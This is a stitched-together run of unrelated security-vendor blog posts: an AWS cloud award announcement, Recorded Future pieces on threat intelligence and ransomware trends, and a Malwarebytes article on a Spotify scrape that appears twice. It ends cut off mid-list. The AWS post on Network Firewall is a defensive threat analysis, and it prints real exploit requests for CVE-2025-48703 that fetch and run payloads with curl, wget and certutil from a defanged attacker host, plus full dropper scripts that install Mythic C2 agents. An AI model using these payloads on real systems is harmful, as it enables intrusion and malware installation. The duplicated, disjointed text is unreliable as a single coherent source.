For the third year in a row, Amazon Web Services (AWS) is named as a Leader in the Information Services Group (ISG) Provider LensTM Quadrant report for Sovereign Cloud Infrastructure Services (EU), published on January 9, 2026. ISG is a leading global technology research, analyst, and advisory firm that serves as a trusted business partner to more than 900 clients. This ISG report evaluates 19 providers of sovereign cloud infrastructure services in the multi-public-cloud environment and examines how they address the key challenges that enterprise clients face in the European Union (EU). ISG defines Leaders as providers who represent innovative strength and competitive stability.

ISG rated AWS ahead of other leading cloud providers on both the competitive strength and portfolio attractiveness axes, with the highest score on portfolio attractiveness. Competitive strength was assessed on multiple factors, including degree of awareness, core competencies, and go-to-market strategy. Portfolio attractiveness was assessed on multiple factors, including scope of portfolio, portfolio quality, strategy and vision, and local characteristics.

According to ISG, “AWS’s infrastructure provides robust resilience and availability, supported by a sovereign-by-design architecture that ensures data residency and regional independence.”

Read the report to:

• Discover why AWS was named as a Leader with the highest score on portfolio attractiveness by ISG.
• Gain further understanding on how the AWS Cloud is sovereign-by-design and how it continues to offer more control and more choice without compromising on the full power of AWS.
• Learn how AWS is delivering on its Digital Sovereignty Pledge and is investing in an ambitious roadmap of capabilities for data residency, granular access restriction, encryption, and resilience.

AWS’s recognition as a Leader in this report for the third consecutive year underscores our commitment to helping European customers and partners meet their digital sovereignty and resilience requirements. We are building on the strong foundation of security and resilience that has underpinned AWS services, including our long-standing commitment to customer control over data residency, our design principal of strong regional isolation, our deep European engineering roots, and our more than a decade of experience operating multiple independent clouds for the most critical and restricted workloads.

Download the full 2025 ISG Provider Lens Quadrant report for Sovereign Cloud Infrastructure Services (EU).

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.
 

Key Takeaways

• Intelligence drives better decisions. High-performing teams use threat intelligence not just for detection, but to inform strategic business decisions and communicate risk to leadership.
• Maturity means efficiency. Advanced programs focus on automation, high-fidelity indicators, and cross-functional collaboration—freeing analysts to concentrate on strategic initiatives.
• Information overload is the top challenge. Teams need better integrations and AI-powered tools to transform massive data volumes into actionable insights.
• AI will reshape the analyst role. While junior analysts won't be replaced, their workflows will evolve significantly as AI augments their capabilities.

Recorded Future recently hosted two webinars to unpack key insights from the 2025 State of Threat Intelligence Report and hear directly from customers who are putting these findings into practice.

Based on survey responses from 615 cybersecurity executives and practitioners, the report showed clear industry trends. Threat intelligence spending is up, with 76% of organizations spending over $250,000 annually and 91% planning to increase spending in 2026. Even more critically, 87% said they expect to advance the maturity of their threat intelligence programs over the next two years.

But what does maturity actually look like in practice? Our customers offered candid perspectives on how they're turning intelligence into impact.

Intelligence as a strategic asset

Our webinar panelists noted that the availability of rich threat intelligence has transformed how their organizations approach decision-making. According to Jack Watson, Senior Threat Intelligence Analyst at Global Payments, “Understanding that one alert opened and one alert closed does not necessarily equate to one single adversary being stopped” has led his team to take “a much more holistic approach to looking at problems.”

Omkar Nimbalkar, Senior Manager of Cyber Threat Research and Intelligence at Adobe, said, “Once you start doing this work day in and day out, you uncover patterns in your environment. You uncover what your posture looks like, where your true risk resides, and you can use that as a means to inform the business on the changing threat landscape for better decision-making.”

Ryan Boyero, Recorded Future’s Senior Customer Success Manager, said context and storytelling are key benefits of threat intelligence. “You can have a precursor or malicious activity that has occurred,” he said, “but without threat intelligence, you can’t really tell the story or paint the picture to deliver to senior leadership in order to help make the best and informed decisions possible.”

How threat intelligence delivers organization-wide value

Nimbalkar said his team provides tailored threat intelligence to business units and product teams across Adobe so they can monitor for specific behavioral activities and block specific threats in their environments.

Boyero shared that Recorded Future customers in EMEA use threat intelligence to educate leadership. “We're able to inform leaders,” he said. “We're able to speak with executives, get them in the room, not so much scare them that a situation could happen or has happened, but ultimately just educate and let them know that this is what Recorded Future is able to do and how we can bring success to the table.”

Erich Harbowy, Security Intelligence Engineer at Superhuman, said that in addition to educating leaders about risk, his team also uses threat intelligence to show the value of their work. “Not only am I using this very current news, I am also using the statistics that come along with that,” he said. “How much damage occurred during the first attack that was similar to this? And are [my adversaries] done? Are they coming back?”

Harbowy appreciates Recorded Future for providing those insights for postmortems and follow-ups with executives. “How do I prove my worth?” he said. “Give me the intel.”

The anatomy of a mature threat intelligence program

According to Nimbalkar, maturity comes when the foundational tactical and operational work is complete. He said that advancing a threat intelligence program is all about efficiency and optimization, including making sure you have high-fidelity indicators so your noise-to-signal ratio is reduced and you have higher-quality detections, understanding who your adversaries are and how they’re targeting you, getting in front of stakeholders and engaging with cross-functional teams, and collecting metrics on everything you do.

“Once you have figured out all these workflows, automated as much as you can, optimized and made it efficient, and then you focus more on risk reduction across the environment and more on strategic initiatives, that’s a very good maturation,” he said.

Jack Watson of Global Payments described threat intelligence maturity as the ability to ingest and action intelligence. “It’s never been easier to ingest data, but it’s also never been harder to sift through [that data]. So we’re seeing more mature organizations developing automated workflows, developing custom capabilities to do collection and action, and using AI in unique ways.”

Pathways to advancing maturity

Nick Rainho, Senior Intelligence Consultant at Recorded Future, said that the key to advancing maturity is having solid intelligence requirements. “Especially if you’re working with limited resources, go for the low-hanging fruit and ensure that the intelligence you’re pulling in is relevant to senior leadership’s priorities.”

Ryan Boyero agreed that maturity success is predicated on understanding leadership’s key requirements. “And then, how are we able to work towards that greater good and define success together?”

Top challenges for CTI teams

The panelists agreed that information overload is a critical challenge for today’s CTI teams. “More data is better than less,” said Watson, “but you have to be able to whittle it down or it’s useless.”

Nimbalkar said that with new tools in the market, advancements in AI, and the exponential growth in the volume of data, teams need vendors that can provide better integration to make data more actionable. And Rainho agreed, calling for better out-of-the-box integrations between intelligence tools so security teams can consume intelligence in the location and manner that works best for them.

Looking to the future of threat intelligence

When asked how they think the threat landscape will evolve and how technology will evolve with it, the panelists shared a number of predictions. They believe AI will enable CTI teams to fight AI-powered threats at scale. Third-party risk management will become an even more critical discipline for proactive defense. Digital threats will continue to outpace physical threats. And while junior analysts won’t be replaced by AI, their jobs will look very different as they use AI to augment their workflows.

Watch the recordings of the North America and EMEA webinar sessions to learn more, and download the 2025 State of Threat Intelligence Report to see how your peers are evaluating, investing in, and operationalizing threat intelligence.

Cyber threats are evolving faster than traditional security defense can respond; workloads with potential security issues are discovered by threat actors within 90 seconds, with exploitation attempts beginning within 3 minutes. Threat actors are quickly evolving their attack methodologies, resulting in new malware variants, exploit techniques, and evasion tactics. They also rotate their infrastructure—IP addresses, domains, and URLs. Effectively defending your workloads requires quickly translating threat data into protective measures and can be challenging when operating at internet scale. This post describes how AWS active threat defense for AWS Network Firewall can help to detect and block these potential threats to protect your cloud workloads.

Active threat defense detects and blocks network threats by drawing on real-time intelligence gathered through MadPot, the network of honeypot sensors used by Amazon to actively monitor attack patterns. Active threat defense rules treat speed as a foundational tenet, not an aspiration. When threat actors create a new domain to host malware or set up fresh command-and-control servers, MadPot sees them in action. Within 30 minutes of receiving new intelligence from MadPot, active threat defense automatically translates that intelligence into threat detection through Amazon GuardDuty and active protection through AWS Network Firewall.

Speed alone isn’t enough without applying the right threat indicators to the right mitigation controls. Active threat defense disrupts attacks at every stage: it blocks reconnaissance scans, prevents malware downloads, and severs command-and-control communications between compromised systems and their operators. This creates a multi-layered defense approach that can disrupt attacks that can bypass some of the layers.

How active threat defense works

MadPot honeypots mimic cloud servers, databases, and web applications—complete with the misconfigurations and security gaps that threat actors actively hunt for. When threat actors take the bait and launch their attacks, MadPot captures the complete attack lifecycle against these honeypots, mapping the threat actor infrastructure, capturing emerging attack techniques, and identifying novel threat patterns. Based on observations in MadPot, we also identify infrastructure with similar fingerprints through wider scans of the internet.

Figure 1: Overview of active threat defense integration

Figure 1 shows how this works. When threat actors deliver malware payloads to MadPot honeypots, AWS executes the malicious code in isolated environments, extracting indicators of compromise from the malware’s behavior—the domains it contacts, the files it drops, the protocols it abuses. This threat intelligence feeds active threat defense’s automated protection: Active threat defense validates indicators, converts them to firewall rules, tests for performance impact, and deploys them globally to Network Firewall—all within 30 minutes. And because threats evolve, active threat defense monitors changes in threat actor infrastructure, automatically updating protection rules as threat actors rotate domains, shift IP addresses, or modify their tactics. Active threat defense adapts automatically as threats evolve.

Figure 2: Swiss cheese model

Active threat defense uses the Swiss cheese model of defense (shown in Figure 2)—a principle recognizing that no single security control is perfect, but multiple imperfect layers create robust protection when stacked together. Each defensive layer has gaps. Threat actors can bypass DNS filtering with direct IP connections, encrypted traffic defeats HTTP inspection, domain fronting or IP-only connections evade TLS SNI analysis. Active threat defense applies threat indicators across multiple inspection points. If threat actors bypass one layer, other layers can still detect and block them. When MadPot identifies a malicious domain, Network Firewall doesn’t only block the domain, it also creates rules that deny DNS queries, block HTTP host headers, prevent TLS connections using SNI, and drop direct connections to the resolved IP addresses. Similar to Swiss cheese slices stacked together, the holes rarely align—and active threat defense reduces the likelihood of threat actors finding a complete path to their target.

Disrupting the attack kill chain with active threat defense

Let’s look at how active threat defense disrupts threat actors across the entire attack lifecycle with this Swiss cheese approach. Figure 3 illustrates an example attack methodology—described in the following sections—that threat actors use to compromise targets and establish persistent control for malicious activities. Modern attacks require network communications at every stage—and that’s precisely where active threat defense creates multiple layers of defense. This attack flow demonstrates the importance of network-layer security controls that can intercept and block malicious communications at each stage, preventing successful compromise even when initial vulnerabilities exist.

Figure 3: An example flow of an attack scenario using an OAST technique

Step 0: Infrastructure preparation

Before launching attacks, threat actors provision their operational infrastructure. For example, this includes setting up an out-of-band application security testing (OAST) callback endpoint—a reconnaissance technique that threat actors use to verify successful exploitation through separate communication channels. They also provision malware distribution servers hosting the payloads that will infect victims, and command-and-control (C2) servers to manage compromised systems. MadPot honeypots detect this infrastructure when threat actors use it against decoy systems, feeding those indicators into active threat detection protection rules.

Step 1: Target identification

Threat actors compile lists of potential victims through automated internet scanning or by purchasing target lists from underground markets. They’re looking for workloads running vulnerable software, exposed services, or common misconfigurations. MadPot honeypot system experiences more than 750 million such interactions with potential threat actors every day. New MadPot sensors are discovered within 90 seconds; this visibility reveals patterns that would otherwise go unnoticed. Active threat detection doesn’t stop reconnaissance but uses MadPot’s visibility to disrupt later stages.

Step 2: Vulnerability confirmation

The threat actor attempts to verify a vulnerability in the target workload, embedding an OAST callback mechanism within the exploit payload. This might take the form of a malicious URL like http://malicious-callback[.]com/verify?target=victim injected into web forms, HTTP headers, API parameters, or other input fields. Some threat actors use OAST domain names that are also used by legitimate security scanners, while others use more custom domains to evade detection. The following table list 20 example vulnerabilities that threat actors tried to exploit against MadPot using OAST links over the past 90 days.

Step 3: OAST callback

When vulnerable workloads process these malicious payloads, they attempt to initiate callback connections to the threat actor’s OAST monitoring servers. These callback signals would normally provide the threat actor with confirmation of successful exploitation, along with intelligence about the compromised workload, vulnerability type, and potential attack progression pathways. Active threat detection breaks the attack chain at this point. MadPot identifies the malicious domain or IP address and adds it to the active threat detection deny list. When the vulnerable target attempts to execute the network call to the threat actor’s OAST endpoint, Network Firewall with active threat detection enabled blocks the outbound connection. The exploit might succeed, but without confirmation, the threat actor can’t identify which targets to pursue—stalling the attack.

Step 4: Malware delivery preparation

After the threat actor identifies a vulnerable target, they exploit the vulnerability to deliver malware that will establish persistent access. The following table lists 20 vulnerabilities that threat actors tried to exploit against MadPot to deliver malware over the past 90 days:

Step 5: Malware download

The compromised target attempts to download the malware payload from the threat actor’s distribution server, but active threat defense intervenes again. The malware hosting infrastructure—whether it’s a domain, URL, or IP address—has been identified by MadPot and blocked by Network Firewall. If malware is delivered through TLS endpoints, active threat defense has rules that inspect the Server Name Indication (SNI) during the TLS handshake to identify and block malicious domains without decrypting traffic. For malware not delivered through TLS endpoints or customers who have enabled the Network Firewall TLS inspection feature, active threat defense rules inspect full URLs and HTTP headers, applying content-based rules before re-encrypting and forwarding legitimate traffic. Without successful malware delivery and execution, the threat actor cannot establish control.

Step 6: Command and control connection

If malware had somehow been delivered, it would attempt to phone home by connecting to the threat actor’s C2 server to receive instructions. At this point, another active threat defense layer activates. In Network Firewall, active threat defense implements mechanisms across multiple protocol layers to identify and block C2 communications before they facilitate sustained malicious operations. At the DNS layer, Network Firewall blocks resolution requests for known-malicious C2 domains, preventing malware from discovering where to connect. At the TCP layer, Network Firewall blocks direct connections to C2 IP addresses and ports. At the TLS layer—as described in Step 5—Network Firewall uses SNI inspection and fingerprinting techniques—or full decryption when enabled—to identify encrypted C2 traffic. Network Firewall blocks the outbound connection to the known-malicious C2 infrastructure, severing the threat actor’s ability to control the infected workload. Even if malware is present on the compromised workload, it’s effectively neutralized by being isolated and unable to communicate with its operator. Similarly, threat detection findings are created in Amazon GuardDuty for attempts to connect to the C2, so you can initiate incident response workflows. The following table lists examples of C2 frameworks that MadPot and our internet-wide scans have observed over the past 90 days:

Step 7: Attack objectives blocked

Without C2 connectivity, the threat actor cannot steal data or exfiltrate credentials. The layered approach used by active threat defense means threat actors must succeed at every step, while you only need to block one stage to stop the activity. This defense-in-depth approach reduces risk even if some defense layers have vulnerabilities. You can track active threat defense actions in the Network Firewall alert log.

Real attack scenario – Stopping a CVE-2025-48703 exploitation campaign

In October 2025, AWS MadPot honeypots began detecting an attack campaign targeting Control Web Panel (CWP)—a server management platform used by hosting providers and system administrators. The threat actor was attempting to exploit CVE-2025-48703, a remote code execution vulnerability in CWP, to deploy the Mythic C2 framework. While Mythic is an open source command and control platform originally designed for legitimate red team operations, threat actors also adopt it for malicious campaigns. The exploit attempts originated from IP address 61.244.94[.]126, which exhibited characteristics consistent with a VPN exit node.

To confirm vulnerable targets, the threat actor attempted to execute operating system commands by exploiting the CWP file manager vulnerability. MadPot honeypots received exploitation attempts like the following example using the whoami command:

POST /nginx/index.php?module=filemanager&acc=changePerm HTTP/1.1
host: xx.xxx.xxx.xxx:49153
content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
content-length: 455

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"

.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"

/home/nginx
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"

whoami /priv
------WebKitFormBoundaryrTrcHpS9ovyhBLtb--

While this specific campaign didn’t use OAST callbacks for vulnerability confirmation, MadPot observes similar CVE-2025-48703 exploitation attempts using OAST callbacks like the following example:

POST /debian/index.php?module=filemanager&acc=changePerm HTTP/1.1
host: xx.xxx.xxx.xxx:8085
user-agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
content-length: 503
content-type: multipart/form-data; boundary=z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5
accept-encoding: gzip
connection: close

--z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5
Content-Disposition: form-data; name="fileName"

.bashrc
--z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5
Content-Disposition: form-data; name="currentPath"

/home/debian
--z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5
Content-Disposition: form-data; name="recursive"

--z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5
Content-Disposition: form-data; name="t_total"

ping d4c81ab7l0phir01tus0888p1xozqw1bs.oast[.]fun
--z7twpejkzthnvgn9fcrtjpxgnrw08sxxjwwdkhy5--

After the vulnerable systems were identified, the attack moved immediately to payload delivery. MadPot captured infection attempts targeting both Linux and Windows workloads. For Linux targets, the threat actor used curl and wget to download the malware:

POST /cwp/index.php?module=filemanager&acc=changePerm HTTP/1.1
host: xx.xxx.xxx.xxx:5704
content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
content-length: 539

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"

.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"

/home/cwp
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"

(curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt||wget -T180 -q hxxp://vc2.b1ack[.]cat:28571/slt)|sh
------WebKitFormBoundaryrTrcHpS9ovyhBLtb--

For Windows systems, the threat actor used Microsoft’s certutil.exe utility to download the malware:

POST /panel/index.php?module=filemanager&acc=changePerm HTTP/1.1
host: xx.xxx.xxx.xxx:49153
content-type: multipart/form-data; boundary=----WebKitFormBoundaryrTrcHpS9ovyhBLtb
content-length: 557

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="fileName"

.bashrc
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="currentPath"

/home/panel
------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="recursive"

------WebKitFormBoundaryrTrcHpS9ovyhBLtb
Content-Disposition: form-data; name="t_total"

certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt C:\Users\Public\run.bat && C:\Users\Public\run.bat
------WebKitFormBoundaryrTrcHpS9ovyhBLtb--

Layer 1 — MadPot identified the staging URLs and underlying IP addresses hosting the malware:

Layer 2 – MadPot’s analysis of the malware revealed that the Windows batch file (SHA256: 6ec153a1...) contained logic to detect system architecture and download the appropriate Mythic agent:

@echo off
setlocal enabledelayedexpansion

set u64="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w64&stage=true"
set u32="hxxp://196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=w32&stage=true"
set v="C:\Users\Public\350b0949tcp.exe"
del %v%
for /f "tokens=*" %%A in ('wmic os get osarchitecture ^| findstr 64') do (
    set "ARCH=64"
)
if "%ARCH%"=="64" (
    certutil.exe -urlcache -split -f %u64% %v%
) else (
    certutil.exe -urlcache -split -f %u32% %v%
)

start "" %v%
exit /b 0

The Linux script (SHA256: bdf17b30...) supported x86_64, i386, i686, aarch64, and armv7l architectures:

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin

l64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l64&stage=true"
l32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=l32&stage=true"
a64="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a64&stage=true"
a32="196.251.116[.]232:28571/?h=196.251.116[.]232&p=28571&t=tcp&a=a32&stage=true"

v="43b6f642tcp"
rm -rf $v

ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then
    (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")')
elif [ ${ARCH}x = "i386x" ]; then
    (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
# [additional architecture checks]
fi

chmod +x $v
(nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &)

Layer 3 – By analyzing these staging scripts and referenced infrastructure, MadPot identified additional threat indicators revealing Mythic C2 framework endpoints:

Within 30 minutes of MadPot’s analysis, Network Firewall instances globally deployed protection rules targeting every layer of this attack infrastructure. Vulnerable CWP installations remained protected against this campaign because when the exploit tried to execute curl -fsSL -m180 hxxp://vc2.b1ack[.]cat:28571/slt or certutil.exe -urlcache -split -f hxxp://vc2.b1ack[.]cat:28571/swt Network Firewall would have blocked both resolution of vc2.b1ack[.]cat domain and connections to 196.251.116[.]232:28571 for as long as the infrastructure was active. The vulnerable application might have executed the exploit payload, but Network Firewall blocked the malware download at the network layer.

Even if the staging scripts somehow reached a target through alternate means, they would fail when attempting to download Mythic agent binaries. The architecture-specific URLs would have been blocked. If a Mythic agent binary was somehow delivered and executed through a completely different infection vector, it still could not establish command-and-control. When the malware attempted to connect to the Mythic framework’s health endpoint on port 7443 or the HTTP listener on port 80, Network Firewall would have terminated those connections at the network perimeter.

This scenario shows how the active threat defense intelligence pipeline disrupts different stages of threat activities. This is the Swiss cheese model in practice: even when one defensive layer (for example OAST blocking) isn’t applicable, subsequent layers (downloading hosted malware, network behavior from malware, identifying botnet infrastructure) provide overlapping protection. MadPot analysis of the attack reveals additional threat indicators at each layer that would protect customers at different stages of the attack chain.

For GuardDuty customers with unpatched CWP installations, this meant they would have received threat detection findings for communication attempts with threat indicators tracked in active threat detection. For Network Firewall customers using active threat detection, unpatched CWP workloads would have automatically been protected against this campaign even before this CVE was added to the CISA Known Exploitable Vulnerability list on November 4.

Conclusion

AWS active threat defense for Network Firewall uses MadPot intelligence and multi-layered protection to disrupt attacker kill chains and reduce the operational burden for security teams. With automated rule deployment, active threat defense creates multi-layered defenses within 30 minutes of new threats being detected by MadPot. Amazon GuardDuty customers automatically receive threat detection findings when workloads attempt to communicate with malicious infrastructure identified by active threat defense, while AWS Network Firewall customers can actively block these threats using the active threat defense managed rule group. To get started, see Improve your security posture using Amazon threat intelligence on AWS Network Firewall.

 
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.
 

Key Takeaways

• Declining payments, evolving tactics: Ransomware groups made less money in 2025 despite a 47% increase in publicly reported attacks, pushing them to adopt new approaches to extract payment, namely, DDoS-as-a-Service offerings, insider recruitment, and gig worker exploitation.
• Insider threats are rising: With stolen credentials, vulnerability exploitation, and phishing still dominating initial access, ransomware operators are increasingly turning to native English speakers to recruit corporate insiders—a trend likely to accelerate if layoffs continue into 2026.
• Global expansion underway: Recorded Future predicts 2026 will mark the first year that new ransomware actors operating outside Russia outnumber those within it, reflecting the rapid globalization of the ransomware ecosystem.

The ransomware paradox: More attacks, less money

By most accounts, ransomware groups made less money in 2025 than in 2024, both in overall payments and average payment size. This occurred despite a significant increase in attack volume: according to Recorded Future Intelligence, publicly reported attacks rose to 7,200 in 2025 compared to 4,900 in 2024, demonstrating a 47% increase.

For context, Recorded Future classifies both encryption attacks and data theft attacks with an extortion component under the ransomware umbrella. While exact numbers are difficult to isolate, approximately 50% of all attacks we track fall into the data theft and extortion category.

This declining profitability is driving ransomware groups to expand and evolve their tactics. Here are three trends organizations should prepare for heading into 2026.

Trend 1: DDoS services return to the RaaS model

With affiliates earning less and many ransomware operators abandoning the Ransomware-as-a-Service (RaaS) model to operate independently, remaining RaaS operations must offer more value to attract and retain affiliates. One increasingly common differentiator: bundled DDoS services.

The newly formed Chaos ransomware group (distinct from the older group of the same name) exemplifies this trend, providing DDoS capabilities to all affiliates. While this tactic isn't new—for example, REvil previously offered similar services—it fell out of favor for a period. Now, with fewer ransom payments to share, RaaS operators are reintroducing premium services to maintain their affiliate networks.

• What this means for defenders: Organizations should ensure their DDoS mitigation strategies account for attacks that may accompany ransomware incidents. The pressure tactics are becoming multi-pronged.

Trend 2: Insider recruitment attempts are accelerating

Stolen credentials, vulnerability exploitation, and phishing remain by far the most common initial access vectors for ransomware groups, with social engineering as a distant but growing fourth method. However, there has been a notable increase in ransomware groups working with native English speakers to recruit corporate insiders.

The most public example came earlier this year when a ransomware group attempted to recruit a reporter at the BBC. But this represents only the visible tip of a larger trend. Private reporting indicates that insider recruitment attempts increased significantly throughout 2025 and will likely continue growing, especially if workforce reductions at major companies persist into 2026.

• What this means for defenders: Insider threat programs should be evaluated and strengthened. Employee awareness training should address the possibility of external recruitment attempts, and organizations should monitor for anomalous access patterns that could indicate insider-facilitated attacks.

Trend 3: Gig workers as unwitting attack vectors

According to a recent FBI advisory, ransomware groups have begun exploiting gig work platforms to carry out attacks when remote methods fail. In one documented case, an attacker successfully executed a social engineering help desk scam but couldn't install their tools remotely due to security controls. Their solution: recruiting a gig worker through a legitimate platform to physically enter corporate offices and steal data.

The gig worker was unaware they were working for hackers, believing they were performing a legitimate IT task. The targeted employee thought they were assisting someone from the help desk. While this attack vector remains rare, the accessibility and global reach of gig work platforms means other groups could replicate this approach with minimal effort.

• What this means for defenders: Physical security protocols should account for social engineering scenarios involving legitimate-looking third parties. Verification procedures for on-site IT work deserve renewed scrutiny.

Looking ahead: One big prediction for 2026

The ransomware ecosystem has seen tremendous growth among actors and groups operating outside of Russia.

Recorded Future believes that 2026 will be the first year the number of new ransomware actors outside Russia exceeds those emerging within it. This doesn't indicate a decline in Russian-based operations; instead, it reflects how dramatically the global ransomware ecosystem has expanded.

The bottom line: Strengthen your ransomware defenses

Understanding emerging ransomware tactics is the first step toward defending against them. To stay ahead of threat actors and protect your organization:

• Explore Recorded Future's Ransomware Mitigation Solution for end-to-end visibility into your ransomware exposure across the attack lifecycle.
• Read our latest Insikt Group® research on ransomware trends, threat actor TTPs, and emerging attack vectors.
• Download the Proactive Ransomware Mitigation eBook for actionable strategies to identify, investigate, and prioritize cyber threats.

Hacktivist group Anna’s Archive claims to have scraped almost all of Spotify’s catalog and is now seeding it via BitTorrent, effectively turning a streaming platform into a roughly 300 TB pirate “preservation archive.”

On its blog, the group states:

“A while ago, we discovered a way to scrape Spotify at scale. We saw a role for us here to build a music archive primarily aimed at preservation.”

Spotify insists that the hacktivists obtained no user data. Still, the incident highlights how large‑scale scraping, digital rights management (DRM) circumvention, and weak abuse controls can turn major content platforms into high‑value targets.

Anna’s Archive claims it obtained metadata for around 256 million tracks and audio files for roughly 86 million songs, totaling close to 300 TB. Reportedly, this represents about 99.9% of Spotify’s catalog and roughly 99.6% of all streams.

Spotify says it has “identified and disabled the nefarious user accounts that engaged in unlawful scraping” and implemented new safeguards.

From a security perspective, this incident is a textbook example of how scraping can escalate beyond “just metadata” into industrial‑scale content theft. By combining public APIs, token abuse, rate‑limit evasion, and DRM bypass techniques, attackers can extract protected content at scale. If you can create or compromise enough accounts and make them appear legitimate, you can chip away at content protections over time.

The “Spotify scrape” will likely be framed as a copyright story. But from a security angle, it serves as a reminder: if a platform exposes content or metadata at scale, someone will eventually automate access to it, weaponize it, and redistribute it.

And hiding behind violations of terms and conditions—which have never stopped criminals—is not effective security control.

How does this affect you?

There is currently no indication that passwords, payment details, or private playlists were exposed. This incident is purely about content and metadata, not user databases. That said, scammers may still claim otherwise. Be cautious of messages alleging your account data was compromised and asking for your login details.

Some general Spotify security tips, to be on the safe side:

• If you have reused your Spotify password elsewhere or shared your credentials, consider changing your password for peace of mind.
• Regularly review active sessions on streaming services and revoke anything you do not recognize. Spotify does not offer per-device session management, but you can sign out of all devices via Account > Settings and privacy on the Spotify website.
• Avoid unofficial downloaders, converters, or “Spotify mods” that ask for your login or broad OAuth permissions. These tools often rely on the same kind of scraping infrastructure—or worse, function as credential-stealing malware.

We don’t just report on threats – we help protect your social media

Cybersecurity risks should never spread beyond a headline. Protect your social media accounts by using Malwarebytes Identity Theft Protection.

Hacktivist group Anna’s Archive claims to have scraped almost all of Spotify’s catalog and is now seeding it via BitTorrent, effectively turning a streaming platform into a roughly 300 TB pirate “preservation archive.”

On its blog, the group states:

“A while ago, we discovered a way to scrape Spotify at scale. We saw a role for us here to build a music archive primarily aimed at preservation.”

Spotify insists that the hacktivists obtained no user data. Still, the incident highlights how large‑scale scraping, digital rights management (DRM) circumvention, and weak abuse controls can turn major content platforms into high‑value targets.

Anna’s Archive claims it obtained metadata for around 256 million tracks and audio files for roughly 86 million songs, totaling close to 300 TB. Reportedly, this represents about 99.9% of Spotify’s catalog and roughly 99.6% of all streams.

Spotify says it has “identified and disabled the nefarious user accounts that engaged in unlawful scraping” and implemented new safeguards.

From a security perspective, this incident is a textbook example of how scraping can escalate beyond “just metadata” into industrial‑scale content theft. By combining public APIs, token abuse, rate‑limit evasion, and DRM bypass techniques, attackers can extract protected content at scale. If you can create or compromise enough accounts and make them appear legitimate, you can chip away at content protections over time.

The “Spotify scrape” will likely be framed as a copyright story. But from a security angle, it serves as a reminder: if a platform exposes content or metadata at scale, someone will eventually automate access to it, weaponize it, and redistribute it.

And hiding behind violations of terms and conditions—which have never stopped criminals—is not effective security control.

How does this affect you?

There is currently no indication that passwords, payment details, or private playlists were exposed. This incident is purely about content and metadata, not user databases. That said, scammers may still claim otherwise. Be cautious of messages alleging your account data was compromised and asking for your login details.

Some general Spotify security tips, to be on the safe side:

• If you have reused your Spotify password elsewhere or shared your credentials, consider changing your password for peace of mind.
• Regularly review active sessions on streaming services and revoke anything you do not recognize. Spotify does not offer per-device session management, but you can sign out of all devices via Account > Settings and privacy on the Spotify website.
• Avoid unofficial downloaders, converters, or “Spotify mods” that ask for your login or broad OAuth permissions. These tools often rely on the same kind of scraping infrastructure—or worse, function as credential-stealing malware.

We don’t just report on threats – we help protect your social media

Cybersecurity risks should never spread beyond a headline. Protect your social media accounts by using Malwarebytes Identity Theft Protection.

Key Takeaways

• Digital threats now originate far beyond the perimeter. Identity exposure, brand impersonation, and attacker coordination across the open, deep, and dark webs create risks that traditional tools cannot detect early enough.
• Context is the foundation of effective detection. Raw alerts and isolated indicators offer little clarity. Real-time intelligence turns noise into actionable insight.
• Modern digital threat detection (DTD) requires visibility across the external digital environment. The earliest warning signs of ransomware, credential theft, and phishing campaigns appear long before internal alerts fire.
• Analysts need automation to keep pace. High alert volumes and false positives overwhelm SOC teams. Automated enrichment, correlation, and prioritization significantly reduce investigation time and alert fatigue.
• Recorded Future operationalizes intelligence at enterprise scale. The Intelligence GraphⓇ, Digital Risk Protection, and deep SIEM/SOAR/EDR integrations deliver immediate context, organization-specific visibility, and unified detections, improving time-to-detect, time-to-contain, and overall resilience.

Why Digital Threat Detection Requires a New Approach

Today’s cyber threats evolve too quickly and appear across too many digital touchpoints for isolated tools or static detection rules to keep up. SOC teams must contend with:

• High alert volumes from SIEM, EDR, cloud telemetry, identity systems, and external sources.
